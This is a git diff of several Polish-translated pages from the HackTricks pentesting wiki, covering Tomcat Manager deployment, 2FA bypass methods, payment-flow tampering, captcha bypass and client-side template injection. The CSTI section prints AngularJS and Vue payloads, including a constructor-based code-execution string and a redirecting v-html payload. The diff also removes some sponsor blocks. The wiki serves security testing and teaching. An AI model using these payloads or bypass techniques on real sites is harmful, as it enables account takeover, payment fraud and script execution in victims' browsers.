@ -128,7 +120,7 @@ Na koniec, jeśli masz dostęp do Menedżera Aplikacji Webowych Tomcat, możesz
|
|||
|
||||
### Limitations
|
||||
|
||||
Będziesz mógł wdrożyć WAR tylko wtedy, gdy masz **wystarczające uprawnienia** (role: **admin**, **manager** i **manager-script**). Te szczegóły można znaleźć w _tomcat-users.xml_, zazwyczaj zdefiniowane w `/usr/share/tomcat9/etc/tomcat-users.xml` (to różni się w zależności od wersji) (zobacz sekcję [POST](./#post)).
|
||||
Będziesz mógł wdrożyć WAR tylko wtedy, gdy masz **wystarczające uprawnienia** (role: **admin**, **manager** i **manager-script**). Te szczegóły można znaleźć w _tomcat-users.xml_, zazwyczaj zdefiniowane w `/usr/share/tomcat9/etc/tomcat-users.xml` (to różni się w zależności od wersji) (zobacz sekcję [POST ](./#post)).
|
||||
```bash
|
||||
# tomcat6-admin (debian) or tomcat6-admin-webapps (rhel) has to be installed
|
||||
|
||||
|
@ -239,11 +231,6 @@ msf> use post/windows/gather/enum_tomcat
|
|||
* [https://github.com/simran-sankhala/Pentest-Tomcat](https://github.com/simran-sankhala/Pentest-Tomcat)
|
||||
* [https://hackertarget.com/sample/nexpose-metasploitable-test.pdf](https://hackertarget.com/sample/nexpose-metasploitable-test.pdf)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
@ -254,8 +241,8 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -10,19 +10,11 @@ Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### Unikaj uruchamiania jako root
|
||||
|
||||
Aby nie uruchamiać Tomcat jako root, bardzo powszechną konfiguracją jest ustawienie serwera Apache na porcie 80/443 i, jeśli żądana ścieżka pasuje do wyrażenia regularnego, żądanie jest wysyłane do Tomcat działającego na innym porcie.
|
||||
|
@ -52,7 +44,7 @@ Aby nie uruchamiać Tomcat jako root, bardzo powszechną konfiguracją jest usta
|
|||
└── Catalina
|
||||
└── localhost
|
||||
```
|
||||
* Folder `bin` przechowuje skrypty i pliki binarne potrzebne do uruchomienia serwera Tomcat.
|
||||
* Folder `bin` przechowuje skrypty i pliki binarne potrzebne do uruchomienia i działania serwera Tomcat.
|
||||
* Folder `conf` przechowuje różne pliki konfiguracyjne używane przez Tomcat.
|
||||
* Plik `tomcat-users.xml` przechowuje dane uwierzytelniające użytkowników i przypisane im role.
|
||||
* Folder `lib` zawiera różne pliki JAR potrzebne do prawidłowego działania Tomcat.
|
||||
|
@ -97,7 +89,7 @@ Oto przykład pliku **web.xml**.
|
|||
</servlet-mapping>
|
||||
</web-app>
|
||||
```
|
||||
The `web.xml` configuration above defines a **nowy serwlet o nazwie `AdminServlet`** that is mapped to the **klasę `com.inlanefreight.api.AdminServlet`**. Java uses the dot notation to create package names, meaning the path on disk for the class defined above would be:
|
||||
The `web.xml` configuration above defines a **nowy serwlet o nazwie `AdminServlet`** that is mapped to the **klasy `com.inlanefreight.api.AdminServlet`**. Java uses the dot notation to create package names, meaning the path on disk for the class defined above would be:
|
||||
|
||||
* **`classes/com/inlanefreight/api/AdminServlet.class`**
|
||||
|
||||
|
@ -152,11 +144,6 @@ Plik pokazuje, do czego dostęp mają poszczególne role `manager-gui`, `manager
|
|||
|
||||
* [https://academy.hackthebox.com/module/113/section/1090](https://academy.hackthebox.com/module/113/section/1090)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -10,38 +10,25 @@ Ucz się i ćwicz Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" dat
|
|||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **wyszukiwarka** zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## **Zaawansowane techniki omijania dwuetapowej weryfikacji**
|
||||
## **Techniki obejścia ulepszonej autoryzacji dwuetapowej**
|
||||
|
||||
### **Bezpośredni dostęp do punktu końcowego**
|
||||
|
||||
Aby obejść 2FA, uzyskaj bezpośredni dostęp do następnego punktu końcowego, znajomość ścieżki jest kluczowa. Jeśli to się nie powiedzie, zmień **nagłówek Referrer**, aby naśladować nawigację z strony weryfikacji 2FA.
|
||||
Aby obejść 2FA, uzyskaj bezpośredni dostęp do kolejnego punktu końcowego, znajomość ścieżki jest kluczowa. Jeśli to się nie powiedzie, zmień **nagłówek Referrer**, aby naśladować nawigację z strony weryfikacji 2FA.
|
||||
|
||||
### **Ponowne użycie tokenu**
|
||||
### **Ponowne wykorzystanie tokenów**
|
||||
|
||||
Ponowne wykorzystanie wcześniej używanych tokenów do uwierzytelnienia w ramach konta może być skuteczne.
|
||||
Ponowne wykorzystanie wcześniej używanych tokenów do autoryzacji w ramach konta może być skuteczne.
|
||||
|
||||
### **Wykorzystanie nieużywanych tokenów**
|
||||
|
||||
Można spróbować wyciągnąć token z własnego konta, aby obejść 2FA na innym koncie.
|
||||
Można spróbować wyodrębnić token z własnego konta, aby obejść 2FA w innym koncie.
|
||||
|
||||
### **Ujawnienie tokenu**
|
||||
|
||||
|
@ -57,11 +44,11 @@ Inicjowanie sesji zarówno dla konta użytkownika, jak i ofiary, oraz zakończen
|
|||
|
||||
### **Mechanizm resetowania hasła**
|
||||
|
||||
Badanie funkcji resetowania hasła, która loguje użytkownika do aplikacji po resecie, pod kątem możliwości umożliwienia wielokrotnych resetów za pomocą tego samego linku jest kluczowe. Zalogowanie się z nowo zresetowanymi danymi może obejść 2FA.
|
||||
Badanie funkcji resetowania hasła, która loguje użytkownika do aplikacji po resecie, pod kątem możliwości umożliwienia wielu resetów za pomocą tego samego linku jest kluczowe. Zalogowanie się z nowo zresetowanymi danymi może obejść 2FA.
|
||||
|
||||
### **Kompromentacja platformy OAuth**
|
||||
### **Kompromitacja platformy OAuth**
|
||||
|
||||
Kompromentacja konta użytkownika na zaufanej platformie **OAuth** (np. Google, Facebook) może oferować drogę do ominięcia 2FA.
|
||||
Kompromitacja konta użytkownika na zaufanej platformie **OAuth** (np. Google, Facebook) może oferować drogę do obejścia 2FA.
|
||||
|
||||
### **Ataki brute force**
|
||||
|
||||
|
@ -79,7 +66,7 @@ Ponowne wysłanie kodu resetuje limit szybkości, co ułatwia kontynuację prób
|
|||
|
||||
#### **Obchodzenie limitu szybkości po stronie klienta**
|
||||
|
||||
Dokument szczegółowo opisuje techniki omijania limitów szybkości po stronie klienta.
|
||||
Dokument szczegółowo opisuje techniki obchodzenia limitu szybkości po stronie klienta.
|
||||
|
||||
#### **Brak limitu szybkości dla działań wewnętrznych**
|
||||
|
||||
|
@ -95,7 +82,7 @@ Nieskończona generacja OTP z prostymi kodami umożliwia brute force poprzez pon
|
|||
|
||||
### **Wykorzystanie warunków wyścigu**
|
||||
|
||||
Wykorzystanie warunków wyścigu do ominięcia 2FA można znaleźć w konkretnym dokumencie.
|
||||
Wykorzystanie warunków wyścigu do obejścia 2FA można znaleźć w konkretnym dokumencie.
|
||||
|
||||
### **Luki CSRF/Clickjacking**
|
||||
|
||||
|
@ -119,11 +106,11 @@ Testowanie subdomen może wykorzystywać przestarzałe wersje, które nie mają
|
|||
|
||||
#### **Punkty końcowe API**
|
||||
|
||||
Starsze wersje API, wskazane przez ścieżki katalogów /v\*/, mogą być podatne na metody omijania 2FA.
|
||||
Starsze wersje API, wskazane przez ścieżki katalogów /v\*/, mogą być podatne na metody obejścia 2FA.
|
||||
|
||||
### **Zarządzanie poprzednimi sesjami**
|
||||
|
||||
Zakończenie istniejących sesji po aktywacji 2FA zabezpiecza konta przed nieautoryzowanym dostępem z skompromitowanych sesji.
|
||||
Zakończenie istniejących sesji po aktywacji 2FA zabezpiecza konta przed nieautoryzowanym dostępem z kompromitowanych sesji.
|
||||
|
||||
### **Luki w kontroli dostępu z kodami zapasowymi**
|
||||
|
||||
|
@ -135,47 +122,18 @@ Ujawnienie wrażliwych informacji (np. numeru telefonu) na stronie weryfikacji 2
|
|||
|
||||
### **Resetowanie hasła wyłączające 2FA**
|
||||
|
||||
Proces demonstrujący potencjalną metodę omijania obejmuje utworzenie konta, aktywację 2FA, reset hasła i następne logowanie bez wymogu 2FA.
|
||||
Proces demonstrujący potencjalną metodę obejścia obejmuje utworzenie konta, aktywację 2FA, reset hasła i następne logowanie bez wymogu 2FA.
|
||||
|
||||
### **Fałszywe żądania**
|
||||
|
||||
Wykorzystanie fałszywych żądań do zatarcia prób brute force lub wprowadzenia w błąd mechanizmów ograniczania szybkości dodaje kolejny poziom do strategii omijania. Tworzenie takich żądań wymaga subtelnego zrozumienia środków bezpieczeństwa aplikacji i zachowań ograniczania szybkości.
|
||||
Wykorzystanie fałszywych żądań do zatarcia prób brute force lub wprowadzenia w błąd mechanizmów ograniczania szybkości dodaje kolejny poziom do strategii obejścia. Tworzenie takich żądań wymaga subtelnego zrozumienia środków bezpieczeństwa aplikacji i zachowań ograniczania szybkości.
|
||||
|
||||
### Błędy konstrukcji OTP
|
||||
|
||||
W przypadku, gdy OTP jest tworzony na podstawie danych, które użytkownik już ma lub które są wysyłane przed utworzeniem OTP, użytkownik może również go wygenerować i obejść.
|
||||
W przypadku, gdy OTP jest tworzony na podstawie danych, które użytkownik już ma lub które są wysyłane przed utworzeniem OTP, możliwe jest, że użytkownik również go wygeneruje i obejdzie.
|
||||
|
||||
## Referencje
|
||||
## References
|
||||
|
||||
* [https://medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/%22https:/medium.com/@iSecMax/two-factor-authentication-security-testing-and-possible-bypasses-f65650412b35%22/README.md)
|
||||
* [https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718](https://azwi.medium.com/2-factor-authentication-bypass-3b2bbd907718)
|
||||
* [https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce](https://getpocket.com/read/aM7dap2bTo21bg6fRDAV2c5thng5T48b3f0Pd1geW2u186eafibdXj7aA78Ip116\_1d0f6ce59992222b0812b7cab19a4bce)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **wyszukiwarka** zasilana **dark-web**, która oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
|
||||
Ich głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
P
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,14 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
## Techniki Ominięcia Płatności
|
||||
|
||||
### Przechwytywanie Żądań
|
||||
|
@ -33,7 +25,7 @@ Podczas procesu transakcji kluczowe jest monitorowanie danych wymienianych międ
|
|||
- **Callback**: Zwykle używany do przekierowywania użytkownika po zakończeniu transakcji.
|
||||
|
||||
### Analiza URL
|
||||
Jeśli napotkasz parametr zawierający URL, szczególnie jeden w formacie _example.com/payment/MD5HASH_, wymaga to dokładniejszej analizy. Oto podejście krok po kroku:
|
||||
Jeśli napotkasz parametr zawierający URL, szczególnie jeden podążający za wzorem _example.com/payment/MD5HASH_, wymaga to dokładniejszej analizy. Oto podejście krok po kroku:
|
||||
|
||||
1. **Skopiuj URL**: Wyodrębnij URL z wartości parametru.
|
||||
2. **Inspekcja w Nowym Oknie**: Otwórz skopiowany URL w nowym oknie przeglądarki. Ta akcja jest kluczowa dla zrozumienia wyniku transakcji.
|
||||
|
@ -53,12 +45,6 @@ Jeśli napotkasz parametr zawierający URL, szczególnie jeden w formacie _examp
|
|||
1. **Przechwytywanie Odpowiedzi**: Użyj narzędzi do przechwytywania i analizy odpowiedzi z serwera. Szukaj danych, które mogą wskazywać na udaną transakcję lub ujawniać następne kroki w procesie płatności.
|
||||
2. **Modyfikacja Odpowiedzi**: Spróbuj zmodyfikować odpowiedzi przed ich przetworzeniem przez przeglądarkę lub aplikację, aby zasymulować scenariusz udanej transakcji.
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -23,16 +23,16 @@ Aby **obejść** captcha podczas **testowania serwera** i zautomatyzować funkcj
|
|||
* **Pomiń parametr Captcha**: Unikaj wysyłania parametru captcha. Eksperymentuj ze zmianą metody HTTP z POST na GET lub inne czasowniki oraz zmieniając format danych, na przykład przechodząc między danymi formularza a JSON.
|
||||
* **Wyślij pustą Captcha**: Złóż żądanie z parametrem captcha, ale pozostaw go pustym.
|
||||
|
||||
2. **Ekstrakcja i ponowne wykorzystanie wartości**:
|
||||
2. **Ekstrakcja wartości i ponowne użycie**:
|
||||
* **Inspekcja kodu źródłowego**: Szukaj wartości captcha w kodzie źródłowym strony.
|
||||
* **Analiza ciasteczek**: Sprawdź ciasteczka, aby zobaczyć, czy wartość captcha jest przechowywana i ponownie wykorzystywana.
|
||||
* **Ponowne wykorzystanie starych wartości Captcha**: Spróbuj ponownie użyć wcześniej udanych wartości captcha. Pamiętaj, że mogą one wygasnąć w każdej chwili.
|
||||
* **Analiza ciasteczek**: Sprawdź ciasteczka, aby zobaczyć, czy wartość captcha jest przechowywana i ponownie używana.
|
||||
* **Ponowne użycie starych wartości Captcha**: Spróbuj ponownie użyć wcześniej udanych wartości captcha. Pamiętaj, że mogą one wygasnąć w każdej chwili.
|
||||
* **Manipulacja sesją**: Spróbuj użyć tej samej wartości captcha w różnych sesjach lub tego samego identyfikatora sesji.
|
||||
|
||||
3. **Automatyzacja i rozpoznawanie**:
|
||||
* **Matematyczne Captcha**: Jeśli captcha obejmuje operacje matematyczne, zautomatyzuj proces obliczeń.
|
||||
* **Rozpoznawanie obrazów**:
|
||||
* W przypadku captcha, które wymagają odczytania znaków z obrazu, ręcznie lub programowo określ całkowitą liczbę unikalnych obrazów. Jeśli zestaw jest ograniczony, możesz zidentyfikować każdy obraz po jego hashu MD5.
|
||||
* W przypadku captcha, które wymagają odczytania znaków z obrazu, ręcznie lub programowo określ całkowitą liczbę unikalnych obrazów. Jeśli zestaw jest ograniczony, możesz zidentyfikować każdy obraz po jego skrócie MD5.
|
||||
* Wykorzystaj narzędzia do rozpoznawania znaków optycznych (OCR), takie jak [Tesseract OCR](https://github.com/tesseract-ocr/tesseract), aby zautomatyzować odczyt znaków z obrazów.
|
||||
|
||||
4. **Dodatkowe techniki**:
|
||||
|
@ -42,11 +42,9 @@ Aby **obejść** captcha podczas **testowania serwera** i zautomatyzować funkcj
|
|||
* **Manipulacja User-Agent i nagłówkami**: Zmień User-Agent i inne nagłówki żądania, aby naśladować różne przeglądarki lub urządzenia.
|
||||
* **Analiza audio Captcha**: Jeśli dostępna jest opcja audio captcha, skorzystaj z usług rozpoznawania mowy, aby zinterpretować i rozwiązać captcha.
|
||||
|
||||
|
||||
## Online Services to solve captchas
|
||||
|
||||
### [Capsolver](https://www.capsolver.com/)
|
||||
|
||||
Automatyczny rozwiązywacz captcha Capsolver oferuje **przystępne i szybkie rozwiązanie do rozwiązywania captcha**. Możesz szybko połączyć go z swoim programem, korzystając z opcji łatwej integracji, aby osiągnąć najlepsze wyniki w ciągu kilku sekund. Może rozwiązywać reCAPTCHA V2 i V3, hCaptcha, FunCaptcha, datadome, aws captcha, obraz-na-tekst, binance / coinmarketcap captcha, geetest v3 i inne. Jednak nie jest to obejście per se.
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
|
|
|
@ -1,45 +1,32 @@
|
|||
# Wstrzykiwanie szablonów po stronie klienta (CSTI)
|
||||
# Client Side Template Injection (CSTI)
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się sztuczkami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
#### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## Summary
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) to **silnik wyszukiwania** zasilany przez **dark web**, który oferuje **darmowe** funkcjonalności do sprawdzenia, czy firma lub jej klienci zostali **skompromentowani** przez **złośliwe oprogramowanie kradnące**.
|
||||
To jest jak [**Server Side Template Injection**](ssti-server-side-template-injection/), ale w **kliencie**. **SSTI** może pozwolić na **wykonanie kodu** na zdalnym serwerze, **CSTI** może pozwolić na **wykonanie dowolnego kodu JavaScript** w przeglądarce ofiary.
|
||||
|
||||
Głównym celem WhiteIntel jest zwalczanie przejęć kont i ataków ransomware wynikających z złośliwego oprogramowania kradnącego informacje.
|
||||
|
||||
Możesz sprawdzić ich stronę internetową i wypróbować ich silnik za **darmo** pod adresem:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## Podsumowanie
|
||||
|
||||
Jest to jak [**Wstrzykiwanie szablonów po stronie serwera**](ssti-server-side-template-injection/), ale po **stronie klienta**. **SSTI** może pozwolić na **wykonywanie kodu** na zdalnym serwerze, **CSTI** może pozwolić na **wykonywanie dowolnego kodu JavaScript** w przeglądarce ofiary.
|
||||
|
||||
**Testowanie** tej podatności jest bardzo **podobne** do przypadku **SSTI**, interpreter oczekuje **szablonu** i go wykona. Na przykład, przy ładunku takim jak `{{ 7-7 }}`, jeśli aplikacja jest **podatna**, zobaczysz `0`, a jeśli nie, zobaczysz oryginalny: `{{ 7-7 }}`
|
||||
**Testowanie** tej podatności jest bardzo **podobne** do przypadku **SSTI**, interpreter oczekuje **szablonu** i go wykona. Na przykład, z ładunkiem takim jak `{{ 7-7 }}`, jeśli aplikacja jest **podatna**, zobaczysz `0`, a jeśli nie, zobaczysz oryginalny: `{{ 7-7 }}`
|
||||
|
||||
## AngularJS
|
||||
|
||||
AngularJS to powszechnie używany framework JavaScript, który interaguje z HTML za pomocą atrybutów znanych jako dyrektywy, z których jedną jest **`ng-app`**. Ta dyrektywa pozwala AngularJS przetwarzać zawartość HTML, umożliwiając wykonywanie wyrażeń JavaScript wewnątrz podwójnych klamr.
|
||||
AngularJS to powszechnie używana biblioteka JavaScript, która interaguje z HTML za pomocą atrybutów znanych jako dyrektywy, z których jedną jest **`ng-app`**. Ta dyrektywa pozwala AngularJS przetwarzać zawartość HTML, umożliwiając wykonanie wyrażeń JavaScript wewnątrz podwójnych klamr.
|
||||
|
||||
W scenariuszach, w których dane wejściowe użytkownika są dynamicznie wstawiane do ciała HTML oznaczonego `ng-app`, możliwe jest wykonywanie dowolnego kodu JavaScript. Można to osiągnąć, wykorzystując składnię AngularJS w danych wejściowych. Poniżej znajdują się przykłady ilustrujące, jak można wykonać kod JavaScript:
|
||||
W scenariuszach, w których dane wejściowe użytkownika są dynamicznie wstawiane do ciała HTML oznaczonego `ng-app`, możliwe jest wykonanie dowolnego kodu JavaScript. Można to osiągnąć, wykorzystując składnię AngularJS w danych wejściowych. Poniżej znajdują się przykłady ilustrujące, jak można wykonać kod JavaScript:
|
||||
```javascript
|
||||
{{$on.constructor('alert(1)')()}}
|
||||
{{constructor.constructor('alert(1)')()}}
|
||||
|
@ -64,7 +51,7 @@ A **kod źródłowy** podatnego przykładu tutaj: [https://github.com/azu/vue-cl
|
|||
<!-- Google Research - Vue.js-->
|
||||
"><div v-html="''.constructor.constructor('d=document;d.location.hash.match(\'x1\') ? `` : d.location=`//localhost/mH`')()"> aaa</div>
|
||||
```
|
||||
A really good post on CSTI in VUE can be found in [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||||
Naprawdę dobry post na temat CSTI w VUE można znaleźć pod adresem [https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets](https://portswigger.net/research/evading-defences-using-vuejs-script-gadgets)
|
||||
|
||||
### **V3**
|
||||
```
|
||||
|
@ -102,17 +89,7 @@ javascript:alert(1)%252f%252f..%252fcss-images
|
|||
|
||||
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}
|
||||
|
||||
